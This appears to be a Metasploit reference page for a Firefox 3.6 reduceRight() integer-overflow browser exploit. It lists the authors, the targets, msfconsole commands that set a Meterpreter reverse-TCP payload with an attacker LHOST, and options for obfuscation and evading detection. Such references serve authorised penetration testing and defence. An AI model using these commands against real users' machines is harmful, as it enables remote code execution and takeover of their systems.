Mozilla Firefox Array.reduceRight() Integer Overflow
This module exploits a vulnerability found in Mozilla Firefox 3.6. When an array object is configured with a large length value, the reduceRight() method may cause an invalid index being used, allowing abitrary remote code execution. Please note that the exploit requires a longer amount of time (compare to a typical browser exploit) in order to gain control of the machine.
Exploit Rank
- Normal
Exploit Authors
- Chris Rohlf < >
- Yan Ivnitskiy < >
- Matteo Memelli < >
- dookie2000ca < >
- sinn3r < sinn3r [at] metasploit.com >
- mr_me < steventhomasseeley [at] gmail.com >
- TecR0c < roccogiovannicalvi [at] gmail.com >
Vulnerability References
Exploit Targets
- 0 - Automatic (default)
- 1 - Mozilla Firefox 3.6.16 (no JAVA)
- 2 - Mozilla Firefox 3.6.16 (JAVA)
Exploit Development
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Exploit Usage Information
$ msfconsole
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msf > use exploit/windows/browser/mozilla_reduceright
msf exploit(mozilla_reduceright) > show payloads
msf exploit(mozilla_reduceright) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(mozilla_reduceright) > set LHOST [MY IP ADDRESS]
msf exploit(mozilla_reduceright) > exploit
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msf > use exploit/windows/browser/mozilla_reduceright
msf exploit(mozilla_reduceright) > show payloads
msf exploit(mozilla_reduceright) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(mozilla_reduceright) > set LHOST [MY IP ADDRESS]
msf exploit(mozilla_reduceright) > exploit
Exploit Module Options
| OBFUSCATE | Enable JavaScript obfuscation |
| SRVHOST | The local host to listen on. This must be an address on the local machine or 0.0.0.0 (default: 0.0.0.0) |
| SRVPORT | The local port to listen on. (default: 8080) |
| SSL | Negotiate SSL for incoming connections |
| SSLCert | Path to a custom SSL certificate (default is randomly generated) |
| SSLVersion | Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1) (default: SSL3) |
| URIPATH | The URI to use for this exploit (default is random) |
| ContextInformationFile | The information file that contains context information |
| DisablePayloadHandler | Disable the handler code for the selected payload |
| EnableContextEncoding | Use transient context when encoding payloads |
| ListenerComm | The specific communication channel to use for this service |
| VERBOSE | Enable detailed status messages |
| WORKSPACE | Specify the workspace for this module |
| HTML::base64 | Enable HTML obfuscation via an embeded base64 html object (IE not supported) (accepted: none, plain, single_pad, double_pad, random_space_injection) |
| HTML::javascript::escape | Enable HTML obfuscation via HTML escaping (number of iterations) |
| HTML::unicode | Enable HTTP obfuscation via unicode (accepted: none, utf-16le, utf-16be, utf-16be-marker, utf-32le, utf-32be) |
| HTTP::chunked | Enable chunking of HTTP responses via "Transfer-Encoding: chunked" |
| HTTP::compression | Enable compression of HTTP responses via content encoding (accepted: none, gzip, deflate) |
| HTTP::header_folding | Enable folding of HTTP headers |
| HTTP::junk_headers | Enable insertion of random junk HTTP headers |
| HTTP::server_name | Configures the Server header of all outgoing replies |
| TCP::max_send_size | Maximum tcp segment size. (0 = disable) |
| TCP::send_delay | Delays inserted before every send. (0 = disable) |
